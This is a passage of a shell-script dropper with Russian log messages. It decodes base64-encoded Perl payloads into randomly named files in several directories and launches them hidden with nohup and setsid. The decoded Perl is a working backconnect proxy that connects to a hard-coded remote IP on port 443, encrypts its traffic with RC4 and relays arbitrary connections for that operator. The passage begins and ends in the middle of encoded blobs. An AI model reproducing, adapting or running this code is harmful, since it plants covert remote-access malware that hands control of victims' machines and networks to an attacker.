ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #29 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #29 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 30 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xNzknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK 